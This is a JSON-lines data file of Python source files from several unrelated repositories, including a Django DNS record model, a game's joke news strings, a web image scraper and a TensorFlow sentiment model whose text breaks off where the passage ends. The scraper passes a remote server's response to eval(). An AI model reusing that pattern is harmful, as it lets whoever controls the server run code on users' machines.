+{"text": "import re\nfrom gettext import gettext as _\n\nfrom django.db import models\nfrom django.core.exceptions import ValidationError\n\nfrom cyder.cydns.models import CydnsRecord, LabelDomainMixin\n\n\ndef validate_algorithm(number):\n if number not in (1, 2):\n raise ValidationError(\n \"Algorithm number must be with 1 (RSA) or 2 (DSA)\")\n\n\ndef validate_fingerprint(number):\n if number not in (1,):\n raise ValidationError(\"Fingerprint type must be 1 (SHA-1)\")\n\n\nis_sha1 = re.compile(\"[0-9a-fA-F]{40}\")\n\n\ndef validate_sha1(sha1):\n if not is_sha1.match(sha1):\n raise ValidationError(\"Invalid key.\")\n\n\nclass SSHFP(CydnsRecord, LabelDomainMixin):\n \"\"\"\n >>> SSHFP(label=label, domain=domain, key=key_data,\n ... algorithm_number=algo_num, fingerprint_type=fing_type)\n \"\"\"\n\n id = models.AutoField(primary_key=True)\n key = models.CharField(max_length=256, validators=[validate_sha1])\n algorithm_number = models.PositiveIntegerField(\n null=False, blank=False, validators=[validate_algorithm],\n help_text=\"Algorithm number must be with 1 (RSA) or 2 (DSA)\")\n fingerprint_type = models.PositiveIntegerField(\n null=False, blank=False, validators=[validate_fingerprint],\n help_text=\"Fingerprint type must be 1 (SHA-1)\")\n\n template = _(\"{bind_name:$lhs_just} {ttl} {rdclass:$rdclass_just} \"\n \"{rdtype:$rdtype_just} {algorithm_number} {fingerprint_type} \"\n \"{key:$rhs_just}\")\n\n search_fields = (\"fqdn\", \"key\")\n\n class Meta:\n db_table = 'sshfp'\n # unique_together = ('domain', 'label', 'txt_data')\n # TODO\n # _mysql_exceptions.OperationalError: (1170, \"BLOB/TEXT column\n # 'txt_data' used in key specification without a key length\")\n # Fix that ^\n\n def details(self):\n \"\"\"For tables.\"\"\"\n data = super(SSHFP, self).details()\n data['data'] = [\n ('Domain', 'fqdn', self.fqdn),\n ('Algorithm', 'algorithm_number', self.algorithm_number),\n ('Fingerprint Type', 'fingerprint_type', self.fingerprint_type),\n ('Key', 'key', self.key),\n ]\n return data\n\n def eg_metadata(self):\n \"\"\"EditableGrid metadata.\"\"\"\n return {'metadata': [\n {'name': 'fqdn', 'datatype': 'string', 'editable': True},\n {'name': 'algorithm', 'datatype': 'integer', 'editable': True},\n {'name': 'fingerprint_type', 'datatype': 'integer',\n 'editable': True},\n {'name': 'key', 'datatype': 'string', 'editable': True},\n ]}\n\n @classmethod\n def get_api_fields(cls):\n return super(SSHFP, cls).get_api_fields() + ['fingerprint_type',\n 'algorithm_number', 'key']\n\n @property\n def rdtype(self):\n return 'SSHFP'\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"}
+{"text": "import unittest\n\nfrom snapstack import Plan, Step\n\nclass SnapstackTest(unittest.TestCase):\n\n def test_snapstack(self):\n '''\n _test_snapstack_\n\n Run a basic smoke test, utilizing our snapstack testing harness.\n\n snapstack will install a \"base\" set of snaps, including\n keystone, nova and neutron, then run the step/s you specify\n below. You can modify the base if needed, per the instructions\n in the snapstack\n docs. (https://github.com/openstack-snaps/snapstack)\n\n '''\n step = Step(\n snap='{{ cookiecutter.repo_name }}',\n script_loc='./tests/',\n scripts=['{{ cookiecutter.repo_name }}.sh'],\n snap_store=False\n )\n plan = Plan(scripts=[step])\n plan.run()\n", "source": "openstack-snaps/cookiecutter", "license": "Apache-1.1"}
+{"text": "def get_level_1_news():\n\n news1 = 'Stars Wars movie filming is canceled due to high electrical energy used. Turns out' \\\n 'those lasers don\\'t power themselves'\n news2 = 'Pink Floyd Tour canceled after first show used up the whole energy city had for' \\\n 'the whole month. The band says they\\'ll be happy to play on the dark side of the town'\n news3 = 'A public poll shows people are spending more energy on electric heaters after the ' \\\n 'start of the cold war'\n news4 = \"9 in 10 people of your country do not know what the cold war is. The one who knows \" \\\n \"is in the military\"\n news5 = \"Scientists says that world temperatures are rising due to high number of home \" \\\n \"refrigerators being used worldwide. According to Mr. Midgley, all the earth's\" \\\n \" cold is being trapped inside 4 billion refrigerators\"\n news6 = \"Mr. Midgley published a new research where he's proved that ceiling and wall fans\" \\\n \" are causing hurricanes\"\n news7 = \"Mr. Midgley, again, says he's discovered a way to revert climate change: everybody\" \\\n \" should throw their refrigerator's ice cubes into the ocean\"\n news8 = \"After a whole year of snow falling almost in every corner of the world, Mr. \" \\\n \"Midgley says he knows nothing and announced his retirement\"\n news9 = \"Free nuclear fusion energy is a reality, says scientist, we just need to learn \" \\\n \"how to do it\"\n news10 = \"RMS Titanic reaches its destiny safely after hitting a small chunk of ice in\" \\\n \" the ocean\"\n news11 = \"All the Ice Sculptures business worldwide have declared bankruptcy, says\" \\\n \" World Bank\"\n news12 = \"After 'Star Wars: The Phantom Menace' script was leaked people are happy the \" \\\n \"franchise got canceled 30 years ago\"\n news13 = \"Microsoft's head says Windows95 will be the last one to ever be launched due to its\" \\\n \" low energy use\"\n news14 = \"Programmers for Climate Change Convention ends in confusion after fight over using\" \\\n \" tabs or spaces\"\n news15 = \"The series finale of Game of Thrones lowered the Public Well being index of your\" \\\n \" nation by x%\"\n news16 = \"Drake's song 'Hotline Bling' is under investigation for being related to higher\" \\\n \" temperatures in the US this year\"\n news17 = \"The blockbuster 'Mad Max: Fury Road' shows a sequel of the world we live in, \" \\\n \"says director\"\n news18 = \"Lost's last episode is an homage to our own world, which will also have a crappy \" \\\n \"ending, says fan\"\n news19 = \"Pearl Harbor movie filming canceled due to the harbor being flooded by the \" \\\n \"advancing ocean\"\n news20 = \"Award winning Dwight Schrute's movie 'Recyclops' to gain sequels: 'Recyclops \" \\\n \"Reloaded' and 'Recyclops Revolution'\"\n news21 = \"The Simpsons predicted nuclear power scandal in episode where Homer pushes big\" \\\n \" red button for no reason\"\n\n news = {\n 'news1': news1,\n 'news2': news2,\n 'news3': news3,\n 'news4': news4,\n 'news5': news5,\n 'news6': news6,\n 'news7': news7,\n 'news8': news8,\n 'news9': news9,\n 'news10': news10,\n 'news11': news11,\n 'news12': news12,\n 'news13': news13,\n 'news14': news14,\n 'news15': news15,\n 'news16': news16,\n 'news17': news17,\n 'news18': news18,\n 'news19': news19,\n 'news20': news20,\n 'news21': news21\n\n }\n\n return news\n\n\ndef get_level_2_news():\n\n news1 = \"Your X index is up Y% and your N index is down because of Z\"\n news2 = \"President PLAYER_NAME canceled Formula 1 race to save fuel, Public well being, \" \\\n \"acceptance and co2 emissions are down x%\"\n\n news = {\n 'news1': news1,\n 'news2': news2\n\n }\n\n return news\n\n\ndef get_level_3_news():\n news1 = \"Your X index is down Y% because of Z\"\n news2 = \"In order to save energy, President PLAYER_NAME sanctions law that prohibits people \" \\\n \"of ever ironing their clothes. People are so happy that public well being index is\" \\\n \" up x% and energy use is down y%\"\n\n news = {\n 'news1': news1,\n 'news2': news2\n\n }\n\n return news\n\n\ndef get_level_4_news():\n news1 = \"Your X index is down Y% and it also affected your Z index which is down N%\"\n\n news = {\n 'news1': news1\n\n }\n\n return news\n\n\ndef get_level_5_news():\n news1 = \"Your X index is down X%, XYZ thing just happened\"\n news2 = \"The Amazon River, the biggest in the world, dries up and becomes the world's \" \\\n \"biggest desert\"\n news3 = \"Plants can no longer recognize what season we are on. They now bloom at random \" \\\n \"moments of the year\"\n\n news = {\n 'news1': news1,\n 'news2': news2,\n 'news3': news3\n\n }\n\n return news\n", "source": "RohanJnr/code-jam-5", "license": "MIT"}
+{"text": "from traits.api import (\n HasStrictTraits, Float, List, Str, Instance,\n Int, on_trait_change\n)\nfrom traitsui.api import (\n TabularEditor, UItem, TabularAdapter, View)\n\n\nclass CurveTableRow(HasStrictTraits):\n \"\"\"Represents a row in the curve data table containing\n the maximum value for a selected variable that has been\n reported for a given formulation base\n \"\"\"\n\n #: Maximum value of selected variable for formulation base\n curve_max = Float\n\n #: List of evaluation step indices in the analysis model that\n #: are attributed to the formulation base this is calculated\n #: from\n evaluation_indices = List(Int)\n\n\nclass CurveDataTable(HasStrictTraits):\n \"\"\"Shows all combinations of data values recorded for particular\n formulation base (set of surfactants + their concentrations)\n and selected curve variable\n \"\"\"\n\n #: Contains all columns in the table. Each column is a variable\n #: in the analysis model, with the final column corresponding\n #: to the curve variable\n header = List(Str)\n\n #: List of rows representing data gathered for each formulation\n #: base\n table_rows = List(CurveTableRow)\n\n #: Reference to the selected table row in the UI\n selected_row = Instance(CurveTableRow)\n\n tabular_adapter = Instance(TabularAdapter)\n\n def default_traits_view(self):\n \"\"\"Creates a table view where each column corresponds to an\n object in the header attribute. The last column is expected\n to reference the maximum value reported in the curve\n \"\"\"\n tabular_editor = TabularEditor(\n adapter=self.tabular_adapter,\n editable=False,\n selected='selected_row'\n )\n\n return View(\n UItem('table_rows', editor=tabular_editor, style='custom')\n )\n\n def _create_columns(self):\n columns = [\n (variable, variable)\n for variable in self.header[:-1]\n ]\n if len(self.header) > 0:\n columns.append(\n (f\"max {self.header[-1]}\", 'curve_max')\n )\n return columns\n\n def _tabular_adapter_default(self):\n return TabularAdapter(\n columns=self._create_columns()\n )\n\n @on_trait_change('header[]')\n def _update_header(self):\n self.table_rows = []\n self.tabular_adapter.columns = self._create_columns()\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"}
+{"text": "def ssort(array):\n for i in range(len(array)):\n indxMin = i\n for j in range(i+1, len(array)):\n if array[j] < array[indxMin]:\n indxMin = j\n tmp = array[indxMin]\n array[indxMin] = array[i]\n array[i] = tmp\n return array\n", "source": "omeh2003/PythonAlgoritmSorting", "license": "MIT"}
+{"text": "from bs4 import BeautifulSoup as bs\nimport urllib.request\nfrom random import choice as rc\nimport os\nimport requests\n\ndef randImg():\n r= requests.get(\"https://www.shitpostbot.com/api/randsource\")\n img_url = \"https://www.shitpostbot.com/\"\n content = str(r.content)[2:-1:]\n content = content.replace('null', '0')\n img_url += eval(content)['sub']['img']['full'].replace('\\\\', '')\n return img_url\n\ndef getLink(query,review=\"accepted\",sort = 'random', order='total_rating',direction=\"DESC\"):\n url = f\"https://www.shitpostbot.com/gallery/sourceimages?review_state={review}&query={query}&order={order}&direction={direction}\"\n response = urllib.request.urlopen(url)\n if response.status != 200:\n raise HttpError(\"Failed to load given website. Check your review,sort,order,direction properly. This may also mean that the spb website is down.\")\n soup = bs(response,'html.parser')\n result = []\n for div in soup.findAll('div', attrs={'class':'img'}):\n result.append(div.find('a')['href'])\n if len(result) == 0:\n raise ResultError('Image with the given query does not exist')\n else:\n if sort == 'random':\n fin = rc(result)\n elif sort == 'top':\n fin = result[0]\n elif sort == 'bottom':\n fin = result[-1]\n return 'https://www.shitpostbot.com' + fin\n\ndef getImg(query,review=\"accepted\",sort='random', order='total_rating',direction=\"DESC\"):\n url = getLink(query,review,sort,order,direction)\n response = urllib.request.urlopen(url)\n soup = bs(response,'html.parser')\n for div in soup.findAll('div', attrs={'style':'padding-top: 15px'}):\n return 'https://www.shitpostbot.com' + (div.find('a')['href'])\n", "source": "Boidushya/spbdl", "license": "MIT"}
+{"text": "\"\"\"\nSimple small script for generating a nicely formatted Python module with\nembedded binary resources and docstrings.\n\n------------------------------------------------------------------------------\nThis file is part of SQLitely - SQLite database tool.\nReleased under the MIT License.\n\n@author Erki Suurjaak\n@created 21.08.2019\n@modified 17.06.2020\n------------------------------------------------------------------------------\n\"\"\"\nimport base64\nimport datetime\nimport os\nimport shutil\nimport wx.tools.img2py\n\n\"\"\"Target Python script to write.\"\"\"\nTARGET = os.path.join(\"..\", \"sqlitely\", \"images.py\")\n\nQ3 = '\"\"\"'\n\n\"\"\"Application icons of different size and colour depth.\"\"\"\nAPPICONS = [(\"Icon{0}x{0}_{1}bit.png\".format(s, b),\n \"SQLitely application {0}x{0} icon, {1}-bit colour.\".format(s, b))\n for s in (16, 24, 32, 40, 48, 64, 256) for b in (32, 8)]\nIMAGES = {\n \"ButtonClear.png\":\n \"Small icon for clear list button on start page.\",\n \"ButtonDetect.png\":\n \"Large icon for detect databases button on start page.\",\n \"ButtonFolder.png\":\n \"Large icon for import folder button on start page.\",\n \"ButtonExport.png\":\n \"Small icon for export button on start page.\",\n \"ButtonHome.png\":\n \"Large icon for home on start page.\",\n \"ButtonListDatabase.png\":\n \"Button for databases in database list.\",\n \"ButtonNew.png\":\n \"Large icon for new database on start page.\",\n \"ButtonOpen.png\":\n \"Button for open file on main page.\",\n \"ButtonOpenA.png\":\n \"Large icon for open database button on start page.\",\n \"ButtonRemove.png\":\n \"Small icon for remove database button on start page.\",\n \"ButtonRemoveMissing.png\":\n \"Small icon for remove missing button on start page.\",\n \"ButtonRemoveType.png\":\n \"Small icon for remove by type button on start page.\",\n \"ButtonSaveAs.png\":\n \"Small icon for save as button on start page.\",\n \"HelpData.png\":\n \"Help image on default search page for data page.\",\n \"HelpInfo.png\":\n \"Help image on default search page for information page.\",\n \"HelpPragma.png\":\n \"Help image on default search page for pragma page.\",\n \"HelpSchema.png\":\n \"Help image on default search page for schema page.\",\n \"HelpSearch.png\":\n \"Help image on default search page for search page.\",\n \"HelpSQL.png\":\n \"Help image on default search page for SQL window page.\",\n \"PageData.png\":\n \"Icon for the Data page in a database tab.\",\n \"PageInfo.png\":\n \"Icon for the Info page in a database tab.\",\n \"PagePragma.png\":\n \"Icon for the Pragma page in a database tab.\",\n \"PageSchema.png\":\n \"Icon for the Schema page in a database tab.\",\n \"PageSearch.png\":\n \"Icon for the Search page in a database tab.\",\n \"PageSQL.png\":\n \"Icon for the SQL Window page in a database tab.\",\n \"ToolbarCase.png\":\n \"Toolbar icon for case-insensitive toggle button in data grids.\",\n \"ToolbarClear.png\":\n \"Toolbar icon for reset sort/filter button in data grids.\",\n \"ToolbarCommit.png\":\n \"Toolbar icon for commit button in database table grids.\",\n \"ToolbarDelete.png\":\n \"Toolbar icon for delete button in database table grids.\",\n \"ToolbarForm.png\":\n \"Toolbar icon for form button in data grids.\",\n \"ToolbarGoto.png\":\n \"Toolbar icon for goto button in data grids.\",\n \"ToolbarInsert.png\":\n \"Toolbar icon for insert button in database table grids.\",\n \"ToolbarRefresh.png\":\n \"Toolbar icon for refresh button.\",\n \"ToolbarRollback.png\":\n \"Toolbar icon for rollback button in database table grids.\",\n \"ToolbarStop.png\":\n \"Toolbar icon for stop button on search page.\",\n \"ToolbarStopped.png\":\n \"Toolbar icon for inactive stop button on search page.\",\n \"ToolbarData.png\":\n \"Toolbar icon for data button on search page.\",\n \"ToolbarTabs.png\":\n \"Toolbar icon for tabs toggle button on search page.\",\n \"ToolbarTitle.png\":\n \"Toolbar icon for title toggle button on search page.\",\n \"TransparentPixel.gif\":\n \"Transparent 1x1 GIF.\",\n \"TreeTrigger.png\":\n \"TreeListCtrl icon for triggers.\",\n}\nHEADER = \"\"\"%s\nContains embedded image and icon resources for SQLitely. Auto-generated.\n\n------------------------------------------------------------------------------\nThis file is part of SQLitely - SQLite database tool.\nReleased under the MIT License.\n\n@author Erki Suurjaak\n@created 21.08.2019\n@modified %s\n------------------------------------------------------------------------------\n%s\ntry:\n import wx\n from wx.lib.embeddedimage import PyEmbeddedImage\nexcept ImportError:\n class PyEmbeddedImage(object):\n \\\"\\\"\\\"Data stand-in for wx.lib.embeddedimage.PyEmbeddedImage.\\\"\\\"\\\"\n def __init__(self, data):\n self.data = data\n\"\"\" % (Q3, datetime.date.today().strftime(\"%d.%m.%Y\"), Q3)\n\n\ndef create_py(target):\n global HEADER, APPICONS, IMAGES\n f = open(target, \"w\")\n f.write(HEADER)\n icons = [os.path.splitext(x)[0] for x, _ in APPICONS]\n icon_parts = [\", \".join(icons[4*i:4*i+4]) for i in range(len(icons) / 4)]\n iconstr = \",\\n \".join(icon_parts)\n f.write(\"\\n\\n%s%s%s\\ndef get_appicons():\\n icons = wx.IconBundle()\\n\"\n \" [icons.AddIcon(i.Icon) \"\n \"for i in [\\n %s\\n ]]\\n return icons\\n\" % (Q3,\n \"Returns the application icon bundle, \"\n \"for several sizes and colour depths.\",\n Q3, iconstr.replace(\"'\", \"\").replace(\"[\", \"\").replace(\"]\", \"\")\n ))\n for filename, desc in APPICONS:\n name, extension = os.path.splitext(filename)\n f.write(\"\\n\\n%s%s%s\\n%s = PyEmbeddedImage(\\n\" % (Q3, desc, Q3, name))\n data = base64.b64encode(open(filename, \"rb\").read())\n while data:\n f.write(\" \\\"%s\\\"\\n\" % data[:72])\n data = data[72:]\n f.write(\")\\n\")\n for filename, desc in sorted(IMAGES.items()):\n name, extension = os.path.splitext(filename)\n f.write(\"\\n\\n%s%s%s\\n%s = PyEmbeddedImage(\\n\" % (Q3, desc, Q3, name))\n data = base64.b64encode(open(filename, \"rb\").read())\n while data:\n f.write(\" \\\"%s\\\"\\n\" % data[:72])\n data = data[72:]\n f.write(\")\\n\")\n f.close()\n\n\nif \"__main__\" == __name__:\n create_py(TARGET)\n", "source": "suurjaak/SQLitely", "license": "MIT"}
+{"text": "from abc import ABCMeta\nfrom typing import Dict, List, Tuple\nimport numpy as np\nimport tensorflow as tf\nimport tf_metrics\nfrom IMGJM.layers import (CharEmbedding, GloveEmbedding, CoarseGrainedLayer,\n Interaction, FineGrainedLayer)\n\n\nclass BaseModel(metaclass=ABCMeta):\n def build_tf_session(self,\n logdir: str,\n deploy: bool,\n var_list: List[tf.Variable] = None):\n self.sess = tf.Session()\n if var_list:\n self.saver = tf.train.Saver(var_list=var_list)\n else:\n self.saver = tf.train.Saver()\n if not deploy:\n self.merged_all = tf.summary.merge_all()\n self.train_log_writer = tf.summary.FileWriter(\n logdir=logdir, graph=self.sess.graph)\n self.test_log_writer = tf.summary.FileWriter(logdir=logdir,\n graph=self.sess.graph)\n\n def initialize_weights(self):\n self.sess.run(tf.global_variables_initializer())\n self.sess.run(tf.local_variables_initializer())\n\n def save_model(self, model_dir: str):\n self.saver.save(sess=self.sess, save_path=model_dir)\n\n def load_model(self, model_dir: str):\n self.saver.restore(sess=self.sess, save_path=model_dir)\n\n\nclass IMGJM(BaseModel):\n '''\n Interactive Multi-Grained Joint Model for Targeted Sentiment Analysis (CIKM 2019)\n\n Attributes:\n char_vocab_size (int)\n embedding_weights (np.ndarray)\n batch_size (int) \n learning_rate (float) \n embedding_size (int) \n hidden_nums (int) \n dropout (bool)\n dropout_rate (float) \n kernel_size (int) \n filter_nums (int) \n C_tar (int) \n C_sent (int) \n beta (float) \n gamma (float) \n '''\n def __init__(self,\n char_vocab_size: int,\n embedding_weights: np.ndarray = None,\n embedding_size: int = 300,\n input_type: str = 'ids',\n batch_size: int = 32,\n learning_rate: float = 0.001,\n hidden_nums: int = 700,\n dropout: bool = True,\n dropout_rate: float = 0.5,\n kernel_size: int = 3,\n filter_nums: int = 50,\n C_tar: int = 5,\n C_sent: int = 7,\n beta: float = 1.0,\n gamma: float = 0.7,\n logdir: str = 'logs',\n deploy: bool = False,\n *args,\n **kwargs):\n # attributes\n self.char_vocab_size = char_vocab_size\n self.input_type = input_type\n if self.input_type == 'ids':\n self.embedding_weights = embedding_weights\n self.word_vocab_size = embedding_weights.shape[0]\n self.embedding_size = embedding_weights.shape[1]\n self.embedding_shape = embedding_weights.shape\n else:\n self.embedding_size = embedding_size\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n self.dropout = dropout\n self.dropout_rate = dropout_rate\n self.kernel_size = kernel_size\n self.filter_nums = filter_nums\n self.C_tar = C_tar\n self.C_sent = C_sent\n self.beta = beta\n self.gamma = gamma\n self.logdir = logdir\n\n # layers\n self.char_embedding = CharEmbedding(vocab_size=char_vocab_size)\n if self.input_type == 'ids':\n self.word_embedding = GloveEmbedding()\n self.coarse_grained_layer = CoarseGrainedLayer(hidden_nums=hidden_nums)\n self.interaction_layer = Interaction(hidden_nums=hidden_nums,\n C_tar=C_tar,\n C_sent=C_sent)\n self.fine_grained_layer = FineGrainedLayer(hidden_nums=hidden_nums,\n C_tar=C_tar,\n C_sent=C_sent)\n\n # build session\n self.build_model()\n self.build_metrics()\n var_list = [\n v for v in tf.global_variables()\n if v.name != 'Placeholders/WordEmbedding:0'\n ]\n self.build_tf_session(logdir=logdir, deploy=deploy, var_list=var_list)\n self.initialize_weights()\n if input_type == 'ids':\n self.initialize_embedding(embedding_weights)\n\n def initialize_embedding(self, embedding_weights: np.ndarray):\n with tf.name_scope('Initializing'):\n self.embedding_placeholder = tf.placeholder(\n tf.float32, shape=self.embedding_shape)\n self.sess.run(\n self.glove_embedding.assign(self.embedding_placeholder),\n feed_dict={self.embedding_placeholder: embedding_weights})\n\n def build_model(self):\n '''\n Model building function\n '''\n with tf.name_scope('Placeholders'):\n if self.input_type == 'ids':\n self.word_ids = tf.placeholder(dtype=tf.int32,\n shape=[None, None])\n self.glove_embedding = tf.Variable(tf.constant(\n 0.0, shape=self.embedding_shape),\n trainable=False,\n name='WordEmbedding')\n else:\n self.word_embedding = tf.placeholder(\n dtype=tf.float32, shape=[None, None, self.embedding_size])\n self.char_ids = tf.placeholder(dtype=tf.int32,\n shape=[None, None, None])\n self.sequence_length = tf.placeholder(dtype=tf.int32, shape=[None])\n self.y_target = tf.placeholder(dtype=tf.int32, shape=[None, None])\n self.y_sentiment = tf.placeholder(dtype=tf.int32,\n shape=[None, None])\n self.training = tf.placeholder(dtype=tf.bool)\n with tf.name_scope('Hidden_layers'):\n char_embedding = self.char_embedding(self.char_ids)\n self.char_e = char_embedding\n if self.input_type == 'ids':\n word_embedding = self.word_embedding(\n self.word_ids, embedding_placeholder=self.glove_embedding)\n else:\n word_embedding = self.word_embedding\n if self.dropout:\n char_embedding = tf.layers.dropout(char_embedding,\n rate=self.dropout_rate,\n training=self.training)\n word_embedding = tf.layers.dropout(word_embedding,\n rate=self.dropout_rate,\n training=self.training)\n coarse_grained_target, self.sentiment_clue, hidden_states = self.coarse_grained_layer(\n char_embedding, word_embedding, self.sequence_length)\n interacted_target, interacted_sentiment = self.interaction_layer(\n coarse_grained_target, self.sentiment_clue, hidden_states)\n multi_grained_target, multi_grained_sentiment = self.fine_grained_layer(\n interacted_target, interacted_sentiment, hidden_states,\n self.sequence_length)\n if self.dropout:\n multi_grained_target = tf.layers.dropout(\n multi_grained_target,\n rate=self.dropout_rate,\n training=self.training)\n multi_grained_sentiment = tf.layers.dropout(\n multi_grained_sentiment,\n rate=self.dropout_rate,\n training=self.training)\n with tf.name_scope('CRF'):\n with tf.name_scope('Target'), tf.variable_scope(\n 'Target_Variables', reuse=tf.AUTO_REUSE):\n target_log_likelihood, target_trans_params = tf.contrib.crf.crf_log_likelihood(\n inputs=multi_grained_target,\n tag_indices=self.y_target,\n sequence_lengths=self.sequence_length)\n with tf.name_scope('Sentiment'), tf.variable_scope(\n 'Sentiment_Variables', reuse=tf.AUTO_REUSE):\n sentiment_log_likelihood, sentiment_trans_params = tf.contrib.crf.crf_log_likelihood(\n inputs=multi_grained_sentiment,\n tag_indices=self.y_sentiment,\n sequence_lengths=self.sequence_length)\n with tf.name_scope('Loss'):\n loss_target = tf.reduce_mean(-target_log_likelihood)\n loss_sentiment = tf.reduce_mean(-sentiment_log_likelihood)\n loss_ol = tf.reduce_mean(coarse_grained_target[:, :, 0] *\n self.sentiment_clue[:, :, 0])\n # P(not O) = 1 - P(O)\n loss_brl = tf.losses.mean_squared_error(\n 1 - tf.nn.softmax(multi_grained_target)[:, :, 0],\n 1 - tf.nn.softmax(multi_grained_sentiment)[:, :, 0])\n self.total_loss = loss_target + loss_sentiment + self.beta * loss_ol + self.gamma * loss_brl\n with tf.name_scope('Optimization'):\n optimizer = tf.train.AdamOptimizer(\n learning_rate=self.learning_rate)\n self.train_op = optimizer.minimize(\n self.total_loss,\n global_step=tf.train.get_or_create_global_step())\n with tf.name_scope('Prediction'):\n self.target_preds, _ = tf.contrib.crf.crf_decode(\n potentials=multi_grained_target,\n transition_params=target_trans_params,\n sequence_length=self.sequence_length)\n self.sentiment_preds, _ = tf.contrib.crf.crf_decode(\n potentials=multi_grained_sentiment,\n transition_params=sentiment_trans_params,\n sequence_length=self.sequence_length)\n\n def build_metrics(self):\n with tf.name_scope('Metrics'):\n average = 'micro'\n with tf.name_scope('Train'):\n self.train_target_precision, self.train_target_precision_op = tf_metrics.precision(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_target_recall, self.train_target_recall_op = tf_metrics.recall(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_target_f1, self.train_target_f1_op = tf_metrics.f1(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_sentiment_precision, self.train_sentiment_precision_op = tf_metrics.precision(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.train_sentiment_recall, self.train_sentiment_recall_op = tf_metrics.recall(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.train_sentiment_f1, self.train_sentiment_f1_op = tf_metrics.f1(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n with tf.name_scope('Test'):\n self.test_target_precision, self.test_target_precision_op = tf_metrics.precision(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_target_recall, self.test_target_recall_op = tf_metrics.recall(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_target_f1, self.test_target_f1_op = tf_metrics.f1(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_sentiment_precision, self.test_sentiment_precision_op = tf_metrics.precision(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.test_sentiment_recall, self.test_sentiment_recall_op = tf_metrics.recall(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.test_sentiment_f1, self.test_sentiment_f1_op = tf_metrics.f1(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n\n def train_on_batch(self, inputs: Dict) -> Tuple[float]:\n '''\n Train function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n tar_p (float) \n tar_r (float) \n tar_f1 (float) \n sent_p (float) \n sent_r (float) \n sent_f1 (float) \n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n metrics_ops = [\n self.train_target_precision_op, self.train_target_recall_op,\n self.train_target_f1_op, self.train_sentiment_precision_op,\n self.train_sentiment_recall_op, self.train_sentiment_f1_op\n ]\n metrics = [\n self.train_target_precision, self.train_target_recall,\n self.train_target_f1, self.train_sentiment_precision,\n self.train_sentiment_recall, self.train_sentiment_f1\n ]\n self.sess.run(self.train_op, feed_dict=feed_dict)\n self.sess.run(metrics_ops, feed_dict=feed_dict)\n tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1 = self.sess.run(metrics)\n return tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1\n\n def test_on_batch(self, inputs: Dict) -> Tuple[float]:\n '''\n Test function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n tar_p (float) \n tar_r (float) \n tar_f1 (float) \n sent_p (float) \n sent_r (float) \n sent_f1 (float) \n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n metrics_ops = [\n self.test_target_precision_op, self.test_target_recall_op,\n self.test_target_f1_op, self.test_sentiment_precision_op,\n self.test_sentiment_recall_op, self.test_sentiment_f1_op\n ]\n metrics = [\n self.test_target_precision, self.test_target_recall,\n self.test_target_f1, self.test_sentiment_precision,\n self.test_sentiment_recall, self.test_sentiment_f1\n ]\n self.sess.run(metrics_ops, feed_dict=feed_dict)\n tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1 = self.sess.run(metrics)\n return tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1\n\n def predict_on_batch(self, inputs: Dict) -> Tuple[np.ndarray]:\n '''\n Predict function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n target_preds (np.ndarray)\n sentiment_preds (np.ndarray)\n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n target_preds, sentiment_preds = self.sess.run(\n [self.target_preds, self.sentiment_preds], feed_dict=feed_dict)\n return target_preds, 